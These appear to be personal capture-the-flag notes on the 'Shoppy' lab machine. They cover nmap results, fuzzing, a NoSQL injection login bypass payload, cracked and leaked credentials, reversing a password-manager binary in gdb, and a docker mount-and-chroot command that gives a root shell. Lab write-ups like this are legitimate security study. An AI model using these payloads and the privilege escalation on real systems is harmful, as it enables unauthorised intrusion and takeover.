Shoppy
NMAP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 9e5e8351d99f89ea471a12eb81f922c0 (RSA)
| 256 5857eeeb0650037c8463d7a3415b1ad5 (ECDSA)
|_ 256 3e9d0a4290443860b3b62ce9bd9a6754 (ED25519)
80/tcp open http nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
|_http-server-header: nginx/1.23.1
9093/tcp open copycat?
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: text/plain; version=0.0.4; charset=utf-8
| Date: Tue, 04 Nov 2025 21:08:17 GMT
| HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
| TYPE go_gc_cycles_automatic_gc_cycles_total counter
| go_gc_cycles_automatic_gc_cycles_total 3
| HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
| TYPE go_gc_cycles_forced_gc_cycles_total counter
| go_gc_cycles_forced_gc_cycles_total 0
| HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
| TYPE go_gc_cycles_total_gc_cycles_total counter
| go_gc_cycles_total_gc_cycles_total 3
| HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
| TYPE go_gc_duration_seconds summary
| go_gc_duration_seconds{quantile="0"} 7.6954e-05
| go_gc_duration_seconds{quantile="0.25"} 7.6954e-05
|_ go_gc_dur
Foothold
- Nothing on the app at 80
- some kind of metrics on 9093 - playbook_plugin indicating mattermost
- tried running ffuf for directories/files -
/admin /login /exportsare interesting- tried intruder to crack login but couldnt
- tried running subdomains - got nothing
-
tried running vhosts -
mattermost.shoppy.htb- has a login page. cant bypass
-
back to the 80 login page
admin' OR '1'='1makes the page unresponsive- tried NOSQL injection -
username=admin' || 'a'=='a&password=random- we get the login
- we can search for users
- tried the same payload to get
/exports
- tried the same payload to get
- put the hashes to crackstation and cracked
josh:remembermethisway
- used josh creds on mattermost to login
-
Mattermost details
- Dev channel - password manager on the server
- Deploy channel -
jaeger:Sh0ppyBest@pp!
-
ssh using jaeger to get user.txt - 39959d68092c0b27bb29d75485738ced
Privesc
- there is another user
deploywhich has a password manager as mentioned by josh in mattermost. - copying the executable to kali
- gdb password-manager
disas mainand search the wordcompare- put a break point on that function
- run the executable and enter a random password
- we usually check the value of RSI for the expected string and the value of RDI for our input
- we can see
\* Sample \*in RSI - run the executable again with
Sampleas the password and it is accepted
-
ssh using jaeger and
sudo -l- we can run
/home/deploy/password-managerasdeploy
- we can run
-
sudo -u deploy /home/deploy/password-managerand giveSampleas the passworddeploy:Deploying@pp!is returned
-
su deploy- we have docker permissions
-
running linpeas now
/usr/share/tracker/tracker-backup.xml /home/jaeger/.nvm/nvm.sh /usr/bin/dockerd-rootless.sh /usr/bin/gettext.sh /usr/bin/dockerd-rootless-setuptool.sh tcp 0 0 127.0.0.1:27017 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:8065 0.0.0.0:* LISTEN - tcp6 0 0 :::9093 :::* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - tcp6 0 0 ::1:3000 :::* LISTEN - tcp6 0 0 ::1:5432 :::* LISTEN - -
abusing docker permissions
docker run --rm -v /:/mnt -it alpine chroot /mnt /bin/bash
- got root shell to get root.txt - 1655900ae794966a39a1d8745a7e95d8